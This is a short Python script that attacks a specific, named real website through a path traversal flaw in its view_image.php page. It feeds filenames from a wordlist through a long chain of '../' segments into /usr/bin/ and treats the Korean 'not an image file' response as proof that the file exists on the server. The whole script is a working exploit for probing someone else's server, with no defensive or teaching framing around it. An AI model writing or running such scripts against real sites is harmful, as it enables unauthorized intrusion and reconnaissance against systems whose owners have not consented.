# -*- coding: utf-8 -*-

import requests
import time

dic = open("dic.txt", 'r')
files = dic.readlines()


fList = []

for f in files:
    URL = "https://isc2chapter.kr/bbs/view_image.php?bo_table=&fn=../../../../../../../../../../../../../../../../../../../../../../../../../../usr/bin/" + f[:-1]

    print(URL)
    res = requests.get(URL)
    time.sleep(1)

    if "이미지 파일이 아닙니다." in res.text:
        #print(res.text)
        fList.append(f)

print(fList)